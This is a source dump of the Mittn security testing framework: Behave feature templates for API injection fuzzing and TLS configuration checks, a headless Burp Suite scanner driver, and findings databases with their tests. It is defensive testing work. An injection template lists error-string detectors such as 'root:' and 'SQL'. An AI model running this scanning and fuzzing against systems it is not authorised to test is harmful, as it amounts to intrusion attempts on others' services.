scenario_id == "1": 32 | logging.getLogger("requests").setLevel(logging.WARNING) 33 | try: 34 | r = requests.get("https://mittn.org", 35 | proxies=proxydict, 36 | timeout=5, 37 | verify=False) 38 | except requests.exceptions.RequestException as e: 39 | # This is an example of an exception caught in your test scenario. 40 | # Kill the Burp Suite process before exiting. 41 | kill_subprocess(burp_process) 42 | assert False, "Scenario id %s valid test case failed: %s" % (scenario_id, e) 43 | # The following checks whether our simple example test was successful 44 | # (i.e., not a 4xx or 5xx series return code). 45 | if r.status_code > 399: 46 | assert False, "Scenario id %s valid test case failed with HTTP status code %s" % (scenario_id, r.status_code) 47 | return 48 | 49 | if scenario_id == "2": 50 | # Just an example of where you would put another test scenario with 51 | # another id. 52 | return 53 | assert False, "Scenario id %s has no test implementation" % scenario_id 54 | -------------------------------------------------------------------------------- /features/static-injection-example-template.feature: -------------------------------------------------------------------------------- 1 | # Read docs/INSTALL-httpfuzzer.txt for further documentation 2 | 3 | Feature: Do static injection testing for an API 4 | As a developer, 5 | I want to inject bad data into an API 6 | So that I detect lack of robustness in how inputs are processed 7 | 8 | Background: Check that we have a working installation 9 | # Try out the database connection 10 | Given a baseline database for injection findings 11 | 12 | # If you are behind a proxy, set this and configure in environment.py 13 | # (hint: use an intercepting proxy to see what the tool does when 14 | # setting it up). Configuration in features/environment.py 15 | # And a web proxy 16 | 17 | Scenario: 18 | # Give different tests different identifiers, so when an error is reported 19 | # into the database, you know which test scenario it applies to. 20 | Given scenario id "1" 21 | 22 | # If you need authentication, implement it in authenticate.py. 23 | # You can have several authentication options, referred to by an id here. 24 | And an authentication flow id "1" 25 | 26 | # It is recommended that after each injection, you check that your target 27 | # still works by trying a valid case. The following turns on valid case 28 | # instrumentation. One valid case is always run at first irrespective of 29 | # this setting. 30 | And valid case instrumentation with success defined as "100-499" 31 | 32 | # The target URL where valid cases and injections are sent 33 | And target URL "http://mittn.org/dev/null" 34 | 35 | # An example of a valid JSON submission, used both for injection and for 36 | # valid case instrumentation 37 | And a valid JSON submission "{"foo": 1, "bar": "OMalleys"}" using "POST" method 38 | 39 | # An example of a valid form submission (only select one or the other) 40 | # And a valid form submission "foo=1&bar=OMalleys" using "POST" method 41 | 42 | # Which HTTP methods to use for injection; comma-separated list 43 | # If you're injecting JSON, GET doesn't make much sense, but with 44 | # form submissions, you probably want to include GET. 45 | And tests conducted with HTTP methods "POST,PUT,DELETE" 46 | 47 | # Timeout after which the requests are canceled so the test won't hang 48 | And a timeout of "5" seconds 49 | 50 | # The actual test; this injects static data. If you want to fuzz, 51 | # see the other example 52 | When injecting static bad data for every key and value 53 | 54 | # Which return codes from the server are flagged as failures 55 | And storing any new cases of return codes "500,502-599" 56 | 57 | # Whether timeouts are flagged as failures or not 58 | And storing any new cases of responses timing out 59 | 60 | # Whether HTTP level problems are flagged as failures 61 | And storing any new invalid server responses 62 | 63 | # Strings that, if present in the server response, indicate a failure. 64 | # Add your web frameworks' error strings here, and remove any that 65 | # would cause false positives. The first row is a title row. 66 | And storing any new cases of response bodies that contain strings 67 | | string | 68 | | server error | 69 | | exception | 70 | | invalid response | 71 | | bad gateway | 72 | | internal ASP error | 73 | | service unavailable | 74 | | exceeded | 75 | | premature | 76 | | fatal error | 77 | | proxy error | 78 | | database error | 79 | | backend error | 80 | | SQL | 81 | | mysql | 82 | | postgres | 83 | | root: | 84 | | parse error | 85 | | exhausted | 86 | | warning | 87 | | denied | 88 | | failure | 89 | 90 | # Finally, if any of the above have failed, fail the test run 91 | Then no new issues were stored 92 | -------------------------------------------------------------------------------- /features/steps/all-steps.py: -------------------------------------------------------------------------------- 1 | # pylint: disable=E0602,E0102 2 | from behave import * 3 | 4 | # Import all step definitions for all the test tools. 5 | from mittn.headlessscanner.steps import * 6 | from mittn.tlschecker.steps import * 7 | from mittn.httpfuzzer.steps import * 8 | 9 | __copyright__ = "Copyright (c) 2013- F-Secure" 10 | -------------------------------------------------------------------------------- /features/tlschecker.feature: -------------------------------------------------------------------------------- 1 | Feature: Test TLS server-side configuration 2 | As a developer, 3 | I want to verify the deployed TLS server cipher suite configuration 4 | So that compliance with TLS guideline is assessed 5 | 6 | Background: Setting the target host 7 | # You can populate environment variables with the target 8 | Given target host and port in "TLSCHECK_HOST" and "TLSCHECK_PORT" 9 | # or alternatively, specify the target here 10 | # Given target host "target.domain" and port "443" 11 | 12 | Scenario: A TLSv1.2 connection can be established (baseline interop TLS version) 13 | # This scenario stores the connection result, which is interrogated by 14 | # the subsequent steps 15 | Given sslyze is correctly installed 16 | When a "TLSv1_2" connection is made 17 | Then a TLS connection can be established 18 | And the connection results are stored 19 | 20 | Scenario: Certificate should be within validity period 21 | Given a stored connection result 22 | Then Time is more than validity start time 23 | And Time plus "30" days is less than validity end time 24 | 25 | Scenario: Compression should be disabled 26 | Given a stored connection result 27 | Then compression is not enabled 28 | 29 | Scenario: Server should support secure renegotiation 30 | Given a stored connection result 31 | Then secure renegotiation is supported 32 | 33 | Scenario: Weak cipher suites should be disabled 34 | # Suites are regular expressions 35 | Given a stored connection result 36 | Then the following cipher suites are disabled 37 | | cipher suite | 38 | | EXP- | 39 | | ADH | 40 | | AECDH | 41 | | NULL | 42 | | DES-CBC- | 43 | | RC2 | 44 | | RC5 | 45 | | MD5 | 46 | 47 | Scenario: Questionable cipher suites should be disabled 48 | # Suites are regular expressions 49 | Given a stored connection result 50 | Then the following cipher suites are disabled 51 | | cipher suite | 52 | | CAMELLIA | 53 | | SEED | 54 | | IDEA | 55 | | SRP- | 56 | | PSK- | 57 | | DSS | 58 | | ECDSA | 59 | | DES-CBC3 | 60 | | RC4 | 61 | 62 | Scenario: An Ephemeral D-H cipher suite should be enabled 63 | # Suites are regular expressions 64 | Given a stored connection result 65 | Then at least one the following cipher suites is enabled 66 | | cipher suite | 67 | | DHE- | 68 | | ECDHE- | 69 | 70 | Scenario: The preferred cipher suite should be adequate 71 | # Suites are regular expressions 72 | # This checks against the baseline TLSv1.2 result 73 | Given a stored connection result 74 | Then one of the following cipher suites is preferred 75 | | cipher suite | 76 | | DHE.*-GCM | 77 | | DHE.*AES256 | 78 | | ECDHE.*-GCM | 79 | | ECDHE.*AES256 | 80 | 81 | Scenario: The server uses a strong D-H group 82 | # Mitigation for Logjam vulnerability 83 | Given a stored connection result 84 | Then the D-H group size is at least "2048" bits 85 | 86 | Scenario: The server certificate should be trusted 87 | Given a stored connection result 88 | Then the certificate has a matching host name 89 | And the certificate is in major root CA trust stores 90 | 91 | Scenario: The server key should be large enough 92 | Given a stored connection result 93 | Then the public key size is at least "2048" bits 94 | 95 | Scenario: The server should set Strict TLS headers 96 | Given a stored connection result 97 | Then Strict TLS headers are seen 98 | 99 | Scenario: The server is not vulnerable for Heartbleed 100 | Given a stored connection result 101 | Then server has no Heartbleed vulnerability 102 | 103 | Scenario: The certificate does not use SHA-1 any more 104 | Given a stored connection result 105 | Then certificate does not use SHA-1 106 | 107 | Scenario: SSLv2 should be disabled 108 | When a "SSLv2" connection is made 109 | Then a TLS connection cannot be established 110 | 111 | Scenario: SSLv3 should be disabled 112 | When a "SSLv3" connection is made 113 | Then a TLS connection cannot be established 114 | 115 | Scenario: TLS 1.2 should be enabled 116 | When a "TLSv1_2" connection is made 117 | Then a TLS connection can be established 118 | And the connection results are stored 119 | 120 | Scenario: The preferred cipher suite in TLS 1.2 should be a secure one 121 | # Given TLS 1.2! Make sure that one is stored currently 122 | # Suites are regular expressions 123 | Given a stored connection result 124 | Then one of the following cipher suites is preferred 125 | | cipher suite | 126 | | DHE.*-GCM | 127 | | ECDHE.*-GCM | 128 | 129 | -------------------------------------------------------------------------------- /mittn/__init__.py: -------------------------------------------------------------------------------- 1 | import pkgutil 2 | __path__ = pkgutil.extend_path(__path__, __name__) 3 | __copyright__ = "Copyright (c) 2013- F-Secure" 4 | -------------------------------------------------------------------------------- /mittn/headlessscanner/__init__.py: -------------------------------------------------------------------------------- 1 | __copyright__ = "Copyright (c) 2013- F-Secure" 2 | -------------------------------------------------------------------------------- /mittn/headlessscanner/dbtools.py: -------------------------------------------------------------------------------- 1 | """Helper functions for managing the false positives database""" 2 | import os 3 | import datetime 4 | import socket 5 | import json 6 | from sqlalchemy import create_engine, Table, Column, MetaData, exc, types 7 | from sqlalchemy import sql, and_ 8 | 9 | __copyright__ = "Copyright (c) 2013- F-Secure" 10 | 11 | 12 | def open_database(context): 13 | """Opens the database specified in the feature file and creates 14 | tables if not already created 15 | 16 | :param context: The Behave context 17 | :return: A database handle, or None if no database in use 18 | """ 19 | if hasattr(context, 'dburl') is False: 20 | return None # No false positives database is in use 21 | dbconn = None 22 | 23 | # Try to connect to the database 24 | try: 25 | db_engine = create_engine(context.dburl) 26 | dbconn = db_engine.connect() 27 | except (IOError, exc.OperationalError): 28 | assert False, "Cannot connect to database '%s'" % context.dburl 29 | 30 | # Set up the database table to store new findings and false positives. 31 | # We use LargeBinary to store the message, because it can potentially 32 | # be big. 33 | db_metadata = MetaData() 34 | db_metadata.bind = db_engine 35 | context.headlessscanner_issues = Table( 36 | 'headlessscanner_issues', 37 | db_metadata, 38 | Column('new_issue', types.Boolean), 39 | Column('issue_no', types.Integer, primary_key=True, nullable=False), # Implicit autoincrement 40 | Column('timestamp', types.DateTime(timezone=True)), 41 | Column('test_runner_host', types.Text), 42 | Column('scenario_id', types.Text), 43 | Column('url', types.Text), 44 | Column('severity', types.Text), 45 | Column('issuetype', types.Text), 46 | Column('issuename', types.Text), 47 | Column('issuedetail', types.Text), 48 | Column('confidence', types.Text), 49 | Column('host', types.Text), 50 | Column('port', types.Text), 51 | Column('protocol', types.Text), 52 | Column('messages', types.LargeBinary) 53 | ) 54 | 55 | # Create the table if it doesn't exist 56 | # and otherwise no effect 57 | db_metadata.create_all(db_engine) 58 | 59 | return dbconn 60 | 61 | 62 | def known_false_positive(context, issue): 63 | """Check whether a finding already exists in the database (usually 64 | a "false positive" if it does exist) 65 | 66 | :param context: The Behave context 67 | :param issue: A finding from the scanner (see steps.py) 68 | :return: True or False, depending on whether this is a known issue 69 | """ 70 | 71 | dbconn = open_database(context) 72 | if dbconn is None: 73 | # No false positive db is in use, all findings are treated as new 74 | return False 75 | 76 | # Check whether we already know about this. A finding is a duplicate if: 77 | # - It has the same scenario id, AND 78 | # - It was found in the same URL, AND 79 | # - It has the same issue type. 80 | 81 | db_select = sql.select([context.headlessscanner_issues]).where( 82 | and_( 83 | context.headlessscanner_issues.c.scenario_id == issue['scenario_id'], # Text 84 | context.headlessscanner_issues.c.url == issue['url'], # Text 85 | context.headlessscanner_issues.c.issuetype == issue['issuetype'])) # Text 86 | 87 | db_result = dbconn.execute(db_select) 88 | 89 | # If none found with these criteria, we did not know about this 90 | 91 | if len(db_result.fetchall()) == 0: 92 | return False # No, we did not know about this 93 | 94 | db_result.close() 95 | dbconn.close() 96 | return True 97 | 98 | 99 | def add_false_positive(context, issue): 100 | """Add a finding into the database as a new finding 101 | 102 | :param context: The Behave context 103 | :param response: An issue data structure (see steps.py) 104 | """ 105 | dbconn = open_database(context) 106 | if dbconn is None: 107 | # There is no false positive db in use, and we cannot store the data, 108 | # so we will assert a failure. 109 | assert False, "Issues were found in scan, but no false positive database is in use." 110 | 111 | # Add the finding into the database 112 | 113 | db_insert = context.headlessscanner_issues.insert().values( 114 | new_issue=True, # Boolean 115 | # The result from Burp Extender does not include a timestamp, 116 | # so we add the current time 117 | timestamp=datetime.datetime.utcnow(), # DateTime 118 | test_runner_host=socket.gethostbyname(socket.getfqdn()), # Text 119 | scenario_id=issue['scenario_id'], # Text 120 | url=issue['url'], # Text 121 | severity=issue['severity'], # Text 122 | issuetype=issue['issuetype'], # Text 123 | issuename=issue['issuename'], # Text 124 | issuedetail=issue['issuedetail'], # Text 125 | confidence=issue['confidence'], # Text 126 | host=issue['host'], # Text 127 | port=issue['port'], # Text 128 | protocol=issue['protocol'], # Text 129 | messages=json.dumps(issue['messages'])) # Blob 130 | 131 | dbconn.execute(db_insert) 132 | dbconn.close() 133 | 134 | 135 | def number_of_new_in_database(context): 136 | dbconn = open_database(context) 137 | if dbconn is None: # No database in use 138 | return 0 139 | 140 | true_value = True # SQLAlchemy cannot have "is True" in where clause 141 | 142 | db_select = sql.select([context.headlessscanner_issues]).where( 143 | context.headlessscanner_issues.c.new_issue == true_value) 144 | db_result = dbconn.execute(db_select) 145 | findings = len(db_result.fetchall()) 146 | db_result.close() 147 | dbconn.close() 148 | return findings 149 | -------------------------------------------------------------------------------- /mittn/headlessscanner/proxy_comms.py: -------------------------------------------------------------------------------- 1 | """Helper functions to communicate with Burp Suite extension. 2 | 3 | Burp and Burp Suite are trademarks of Portswigger, Ltd. 4 | 5 | """ 6 | import select 7 | import json 8 | import shlex 9 | import subprocess 10 | import time 11 | 12 | __copyright__ = "Copyright (c) 2013- F-Secure" 13 | 14 | 15 | def read_next_json(process): 16 | """Return the next JSON formatted output from Burp Suite as a Python object.""" 17 | # We will wait on Burp Suite's standard output 18 | pollobj = select.poll() 19 | pollobj.register(process.stdout, select.POLLIN) 20 | jsonobject = None # Default to a failure 21 | while True: 22 | # Wait for max. 30 s, if timeout, return None. 23 | descriptors = pollobj.poll(30000) 24 | if descriptors == []: 25 | break 26 | # Read a line; if not JSON, continue polling with a new timeout. 27 | line = process.stdout.readline() 28 | if line == '': # Burp Suite has exited 29 | break 30 | try: 31 | jsonobject = json.loads(line) 32 | except ValueError: 33 | continue 34 | break 35 | return jsonobject 36 | 37 | 38 | def kill_subprocess(process): 39 | """Kill a subprocess, ignoring errors if it's already exited.""" 40 | try: 41 | process.kill() 42 | except OSError: 43 | pass 44 | return 45 | 46 | 47 | def start_burp(context): 48 | """Start Burp Suite as subprocess and wait for the extension to be ready.""" 49 | burpcommand = shlex.split(context.burp_cmdline) 50 | burpprocess = subprocess.Popen(burpcommand, stdout=subprocess.PIPE) 51 | proxy_message = read_next_json(burpprocess) 52 | if proxy_message is None: 53 | kill_subprocess(burpprocess) 54 | assert False, "Starting Burp Suite and extension failed or timed " \ 55 | "out. Is extension output set as stdout? Command line " \ 56 | "was: %s" % context.burp_cmdline 57 | if proxy_message.get("running") != 1: 58 | kill_subprocess(burpprocess) 59 | assert False, "Burp Suite extension responded with an unrecognised JSON message" 60 | # In some cases, it takes some time for the proxy listener to actually 61 | # have an open port; I have been unable to pin down a specific time 62 | # so we just wait a bit. 63 | time.sleep(5) 64 | return burpprocess 65 | -------------------------------------------------------------------------------- /mittn/headlessscanner/steps.py: -------------------------------------------------------------------------------- 1 | # pylint: disable=E0602,E0102 2 | """Burp and Burp Suite are trademarks of Portswigger, Ltd.""" 3 | from behave import * 4 | import shlex 5 | import subprocess 6 | import select 7 | import requests 8 | import json 9 | import time 10 | import re 11 | import logging 12 | import os 13 | from mittn.headlessscanner.proxy_comms import * 14 | import mittn.headlessscanner.dbtools as scandb 15 | # Import positive test scenario implementations 16 | from features.scenarios import * 17 | 18 | __copyright__ = "Copyright (c) 2013- F-Secure" 19 | 20 | 21 | @given(u'a baseline database for scanner findings') 22 | def step_impl(context): 23 | """Test that we can connect to a database. 24 | 25 | As a side effect, open_database(9 also creates the necessary table(s) 26 | that are required. 27 | 28 | """ 29 | if hasattr(context, 'dburl') is False: 30 | assert False, "Database URI not specified" 31 | dbconn = scandb.open_database(context) 32 | if dbconn is None: 33 | assert False, "Cannot open database %s" % context.dburl 34 | dbconn.close() 35 | 36 | 37 | @given(u'a working Burp Suite installation') 38 | def step_impl(context): 39 | """Test that we have a correctly installed Burp Suite and the scanner driver available""" 40 | logging.getLogger("requests").setLevel(logging.WARNING) 41 | burpprocess = start_burp(context) 42 | 43 | # Send a message to headless-scanner-driver extension and wait for response. 44 | # Communicates to the scanner driver using a magical port number. 45 | # See https://github.com/F-Secure/headless-scanner-driver for additional documentation 46 | 47 | proxydict = {'http': 'http://' + context.burp_proxy_address, 48 | 'https': 'https://' + context.burp_proxy_address} 49 | try: 50 | requests.get("http://localhost:1111", proxies=proxydict) 51 | except requests.exceptions.RequestException as e: 52 | kill_subprocess(burpprocess) 53 | assert False, "Could not fetch scan item status over %s (%s). Is the proxy listener on?" % ( 54 | context.burp_proxy_address, e) 55 | proxy_message = read_next_json(burpprocess) 56 | if proxy_message is None: 57 | kill_subprocess(burpprocess) 58 | assert False, "Timed out communicating to headless-scanner-driver " \ 59 | "extension over %s. Is something else running there?" \ 60 | % context.burp_proxy_address 61 | 62 | # Shut down Burp Suite. Again, see the scanner driver plugin docs for further info. 63 | 64 | poll = select.poll() 65 | poll.register(burpprocess.stdout, select.POLLNVAL | select.POLLHUP) # pylint: disable-msg=E1101 66 | try: 67 | requests.get("http://localhost:1112", proxies=proxydict) 68 | except requests.exceptions.RequestException as e: 69 | kill_subprocess(burpprocess) 70 | assert False, "Could not fetch scan results over %s (%s)" % (context.burp_proxy_address, e) 71 | descriptors = poll.poll(10000) 72 | if descriptors == []: 73 | kill_subprocess(burpprocess) 74 | assert False, "Burp Suite clean exit took more than 10 seconds, killed" 75 | assert True 76 | 77 | 78 | @given(u'scenario id "{scenario_id}"') 79 | def step_impl(context, scenario_id): 80 | """Store the identifier of the test scenario to be run""" 81 | context.scenario_id = scenario_id 82 | assert True 83 | 84 | 85 | @given(u'all URIs successfully scanned') 86 | def step_impl(context): 87 | """Store a flag whether abandoned scans should be flagged as scan failures""" 88 | context.fail_on_abandoned_scans = True 89 | assert True 90 | 91 | 92 | @when(u'scenario test is run through Burp Suite with "{timeout}" minute timeout') 93 | def step_impl(context, timeout): 94 | """Call scenarios.py to run a test scenario referenced by the scenario identifier""" 95 | 96 | # Run the scenario (implemented in scenarios.py) 97 | burpprocess = start_burp(context) 98 | timeout = int(timeout) 99 | scan_start_time = time.time() # Note the scan start time 100 | run_scenario(context.scenario_id, context.burp_proxy_address, burpprocess) 101 | 102 | # Wait for end of scan or timeout 103 | re_abandoned = re.compile("^abandoned") # Regex to match abandoned scan statuses 104 | re_finished = re.compile("^(abandoned|finished)") # Regex to match finished scans 105 | proxydict = {'http': 'http://' + context.burp_proxy_address, 106 | 'https': 'https://' + context.burp_proxy_address} 107 | while True: # Loop until timeout or all scan tasks finished 108 | # Get scan item status list 109 | try: 110 | requests.get("http://localhost:1111", proxies=proxydict, timeout=1) 111 | except requests.exceptions.ConnectionError as error: 112 | kill_subprocess(burpprocess) 113 | assert False, "Could not communicate with headless-scanner-driver over %s (%s)" % ( 114 | context.burp_proxy_address, error.reason) 115 | # Burp extensions' stdout buffers will fill with a lot of results, and 116 | # it hangs, so we time out here and just proceed with reading the output. 117 | except requests.Timeout: 118 | pass 119 | proxy_message = read_next_json(burpprocess) 120 | # Go through scan item statuses statuses 121 | if proxy_message is None: # Extension did not respond 122 | kill_subprocess(burpprocess) 123 | assert False, "Timed out retrieving scan status information from " \ 124 | "Burp Suite over %s" % context.burp_proxy_address 125 | finished = True 126 | if proxy_message == []: # No scan items were started by extension 127 | kill_subprocess(burpprocess) 128 | assert False, "No scan items were started by Burp. Check web test case and suite scope." 129 | for status in proxy_message: 130 | if not re_finished.match(status): 131 | finished = False 132 | # In some test setups, abandoned scans are failures, and this has been set 133 | if hasattr(context, 'fail_on_abandoned_scans'): 134 | if re_abandoned.match(status): 135 | kill_subprocess(burpprocess) 136 | assert False, "Burp Suite reports an abandoned scan, " \ 137 | "but you wanted all scans to succeed. DNS " \ 138 | "problem or non-Target Scope hosts " \ 139 | "targeted in a test scenario?" 140 | if finished is True: # All scan statuses were in state "finished" 141 | break 142 | if (time.time() - scan_start_time) > (timeout * 60): 143 | kill_subprocess(burpprocess) 144 | assert False, "Scans did not finish in %s minutes, timed out. Scan statuses were: %s" % ( 145 | timeout, proxy_message) 146 | time.sleep(10) # Poll again in 10 seconds 147 | 148 | # Retrieve scan results and request clean exit 149 | 150 | try: 151 | requests.get("http://localhost:1112", proxies=proxydict, timeout=1) 152 | except requests.exceptions.ConnectionError as error: 153 | kill_subprocess(burpprocess) 154 | assert False, "Could not communicate with headless-scanner-driver over %s (%s)" % ( 155 | context.burp_proxy_address, error.reason) 156 | # Burp extensions' stdout buffers will fill with a lot of results, and 157 | # it hangs, so we time out here and just proceed with reading the output. 158 | except requests.Timeout: 159 | pass 160 | proxy_message = read_next_json(burpprocess) 161 | if proxy_message is None: 162 | kill_subprocess(burpprocess) 163 | assert False, "Timed out retrieving scan results from Burp Suite over %s" % context.burp_proxy_address 164 | context.results = proxy_message # Store results for baseline delta checking 165 | 166 | # Wait for Burp to exit 167 | 168 | poll = select.poll() 169 | poll.register(burpprocess.stdout, select.POLLNVAL | select.POLLHUP) # pylint: disable-msg=E1101 170 | descriptors = poll.poll(10000) 171 | if descriptors == []: 172 | kill_subprocess(burpprocess) 173 | assert False, "Burp Suite clean exit took more than 10 seconds, killed" 174 | 175 | assert True 176 | 177 | 178 | @then(u'baseline is unchanged') 179 | def step_impl(context): 180 | """Check whether the findings reported by Burp have already been found earlier""" 181 | scanissues = context.results 182 | 183 | # Go through each issue, and add issues that aren't in the database 184 | # into the database. If we've found new issues, assert False. 185 | 186 | new_items = 0 187 | for issue in scanissues: 188 | issue['scenario_id'] = context.scenario_id 189 | if scandb.known_false_positive(context, issue) is False: 190 | new_items += 1 191 | scandb.add_false_positive(context, issue) 192 | 193 | unprocessed_items = scandb.number_of_new_in_database(context) 194 | 195 | if unprocessed_items > 0: 196 | assert False, "Unprocessed findings in database. %s new issue(s), " \ 197 | "total %s issue(s)." % (new_items, unprocessed_items) 198 | assert True 199 | -------------------------------------------------------------------------------- /mittn/headlessscanner/test_dbtools.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import tempfile 3 | import uuid 4 | import os 5 | import mittn.headlessscanner.dbtools as dbtools 6 | import datetime 7 | import socket 8 | import json 9 | import sqlalchemy 10 | from sqlalchemy import create_engine, Table, Column, MetaData, exc, types 11 | 12 | __copyright__ = "Copyright (c) 2013- F-Secure" 13 | 14 | 15 | class dbtools_test_case(unittest.TestCase): 16 | def setUp(self): 17 | # Create an empty mock inline "context" object 18 | # See https://docs.python.org/2/library/functions.html#type 19 | self.context = type('context', (object,), dict()) 20 | 21 | # Whip up a sqlite database URI for testing 22 | self.db_file = os.path.join(tempfile.gettempdir(), 23 | 'mittn_unittest.' + str(uuid.uuid4())) 24 | self.context.dburl = 'sqlite:///' + self.db_file 25 | 26 | def test_dburl_not_defined(self): 27 | # Try to open connection without a defined database URI 28 | empty_context = type('context', (object,), dict()) 29 | dbconn = dbtools.open_database(empty_context) 30 | self.assertEqual(dbconn, 31 | None, 32 | "No dburl provided should return None as connection") 33 | 34 | def test_create_db_connection(self): 35 | # Try whether an actual database connection can be opened 36 | dbconn = dbtools.open_database(self.context) 37 | self.assertEqual(type(dbconn), 38 | sqlalchemy.engine.base.Connection, 39 | "An SQLAlchemy connection object was not returned") 40 | 41 | def test_add_false_positive(self): 42 | # Add a false positive to database and check that all fields 43 | # get populated and can be compared back originals 44 | issue = {'scenario_id': '1', 45 | 'url': 'testurl', 46 | 'severity': 'testseverity', 47 | 'issuetype': 'testissuetype', 48 | 'issuename': 'testissuename', 49 | 'issuedetail': 'testissuedetail', 50 | 'confidence': 'testconfidence', 51 | 'host': 'testhost', 52 | 'port': 'testport', 53 | 'protocol': 'testprotocol', 54 | 'messages': '{foo=bar}'} 55 | 56 | dbtools.add_false_positive(self.context, issue) 57 | 58 | # Connect directly to the database and check the data is there 59 | db_engine = sqlalchemy.create_engine(self.context.dburl) 60 | dbconn = db_engine.connect() 61 | db_metadata = sqlalchemy.MetaData() 62 | headlessscanner_issues = Table( 63 | 'headlessscanner_issues', 64 | db_metadata, 65 | Column('new_issue', types.Boolean), 66 | Column('issue_no', types.Integer, primary_key=True, nullable=False), # Implicit autoincrement 67 | Column('timestamp', types.DateTime(timezone=True)), 68 | Column('test_runner_host', types.Text), 69 | Column('scenario_id', types.Text), 70 | Column('url', types.Text), 71 | Column('severity', types.Text), 72 | Column('issuetype', types.Text), 73 | Column('issuename', types.Text), 74 | Column('issuedetail', types.Text), 75 | Column('confidence', types.Text), 76 | Column('host', types.Text), 77 | Column('port', types.Text), 78 | Column('protocol', types.Text), 79 | Column('messages', types.LargeBinary) 80 | ) 81 | db_select = sqlalchemy.sql.select([headlessscanner_issues]) 82 | db_result = dbconn.execute(db_select) 83 | result = db_result.fetchone() 84 | for key, value in issue.iteritems(): 85 | if key == 'messages': 86 | self.assertEqual(result[key], json.dumps(value)) 87 | else: 88 | self.assertEqual(result[key], value, 89 | '%s not found in database after add' % key) 90 | self.assertEqual(result['test_runner_host'], socket.gethostbyname(socket.getfqdn()), 91 | 'Test runner host name not correct in database') 92 | self.assertLessEqual(result['timestamp'], datetime.datetime.utcnow(), 93 | 'Timestamp not correctly stored in database') 94 | dbconn.close() 95 | 96 | def test_number_of_new_false_positives(self): 97 | # Add a couple of false positives to database as new issues, 98 | # and check that the they're counted properly 99 | issue = {'scenario_id': '1', 100 | 'timestamp': datetime.datetime.utcnow(), 101 | 'test_runner_host': 'localhost', 102 | 'url': 'url', 103 | 'severity': 'severity', 104 | 'issuetype': 'issuetype', 105 | 'issuename': 'issuename', 106 | 'issuedetail': 'issuedetail', 107 | 'confidence': 'confidence', 108 | 'host': 'host', 109 | 'port': 'port', 110 | 'protocol': 'protocol', 111 | 'messages': 'messagejson'} 112 | 113 | # Add one, expect count to be 1 114 | dbtools.add_false_positive(self.context, issue) 115 | self.assertEqual(dbtools.number_of_new_in_database(self.context), 116 | 1, "After adding one, expect one finding in database") 117 | 118 | # Add a second one, expect count to be 2 119 | dbtools.add_false_positive(self.context, issue) 120 | self.assertEqual(dbtools.number_of_new_in_database(self.context), 121 | 2, "After adding two, expect two findings in db") 122 | 123 | def test_false_positive_detection(self): 124 | # Test whether false positives in database are identified properly 125 | issue = {'scenario_id': '1', 126 | 'timestamp': datetime.datetime.utcnow(), 127 | 'test_runner_host': 'localhost', 128 | 'url': 'url', 129 | 'severity': 'severity', 130 | 'issuetype': 'issuetype', 131 | 'issuename': 'issuename', 132 | 'issuedetail': 'issuedetail', 133 | 'confidence': 'confidence', 134 | 'host': 'host', 135 | 'port': 'port', 136 | 'protocol': 'protocol', 137 | 'messages': 'messagejson'} 138 | 139 | # First add one false positive and try checking against it 140 | dbtools.add_false_positive(self.context, issue) 141 | 142 | self.assertEqual(dbtools.known_false_positive(self.context, 143 | issue), 144 | True, "Duplicate false positive not detected") 145 | 146 | # Change one of the differentiating fields, and test, and 147 | # add the tested one to the database. 148 | issue['scenario_id'] = '2' # Non-duplicate 149 | self.assertEqual(dbtools.known_false_positive(self.context, 150 | issue), 151 | False, "Not a duplicate: scenario_id different") 152 | dbtools.add_false_positive(self.context, issue) 153 | 154 | # Repeat for all the differentiating fields 155 | issue['url'] = 'another url' 156 | self.assertEqual(dbtools.known_false_positive(self.context, 157 | issue), 158 | False, "Not a duplicate: url different") 159 | dbtools.add_false_positive(self.context, issue) 160 | 161 | issue['issuetype'] = 'foo' 162 | self.assertEqual(dbtools.known_false_positive(self.context, 163 | issue), 164 | False, "Not a duplicate: issuetype different") 165 | dbtools.add_false_positive(self.context, issue) 166 | 167 | # Finally, test the last one again twice, now it ought to be 168 | # reported back as a duplicate 169 | self.assertEqual(dbtools.known_false_positive(self.context, 170 | issue), 171 | True, "A duplicate case not detected") 172 | 173 | def tearDown(self): 174 | try: 175 | os.unlink(self.db_file) 176 | except: 177 | pass 178 | -------------------------------------------------------------------------------- /mittn/httpfuzzer/__init__.py: -------------------------------------------------------------------------------- 1 | __copyright__ = "Copyright (c) 2013- F-Secure" 2 | -------------------------------------------------------------------------------- /mittn/httpfuzzer/dbtools.py: -------------------------------------------------------------------------------- 1 | """Helper functions for managing the false positives database.""" 2 | import os 3 | import socket # For getting hostname where we're running on 4 | from sqlalchemy import create_engine, Table, Column, MetaData, exc, types 5 | from sqlalchemy import sql, and_ 6 | 7 | __copyright__ = "Copyright (c) 2013- F-Secure" 8 | 9 | 10 | def open_database(context): 11 | """Opens the database specified in the feature file and creates 12 | tables if not already created 13 | 14 | :param context: The Behave context 15 | :return: A database handle, or None if no database in use 16 | """ 17 | if hasattr(context, 'dburl') is False: 18 | return None # No false positives database is in use 19 | dbconn = None 20 | 21 | # Try to connect to the database 22 | try: 23 | db_engine = create_engine(context.dburl) 24 | dbconn = db_engine.connect() 25 | except (IOError, exc.OperationalError): 26 | assert False, "Cannot connect to database '%s'" % context.dburl 27 | 28 | # Set up the database table to store new findings and false positives. 29 | # We use LargeBinary to store those fields that could contain somehow 30 | # bad Unicode, just in case some component downstream tries to parse 31 | # a string provided as Unicode. 32 | db_metadata = MetaData() 33 | db_metadata.bind = db_engine 34 | context.httpfuzzer_issues = Table('httpfuzzer_issues', db_metadata, 35 | Column('new_issue', types.Boolean), 36 | Column('issue_no', types.Integer, primary_key=True, nullable=False), 37 | Column('timestamp', types.DateTime(timezone=True)), 38 | Column('test_runner_host', types.Text), 39 | Column('scenario_id', types.Text), 40 | Column('url', types.Text), 41 | Column('server_protocol_error', types.Text), 42 | Column('server_timeout', types.Boolean), 43 | Column('server_error_text_detected', types.Boolean), 44 | Column('server_error_text_matched', types.Text), 45 | Column('req_method', types.Text), 46 | Column('req_headers', types.LargeBinary), 47 | Column('req_body', types.LargeBinary), 48 | Column('resp_statuscode', types.Text), 49 | Column('resp_headers', types.LargeBinary), 50 | Column('resp_body', types.LargeBinary), 51 | Column('resp_history', types.LargeBinary)) 52 | 53 | # Create the table if it doesn't exist 54 | # and otherwise no effect 55 | db_metadata.create_all(db_engine) 56 | 57 | return dbconn 58 | 59 | 60 | def known_false_positive(context, response): 61 | """Check whether a finding already exists in the database (usually 62 | a "false positive" if it does exist) 63 | 64 | :param context: The Behave context 65 | :param response: The server response data structure (see httptools.py) 66 | 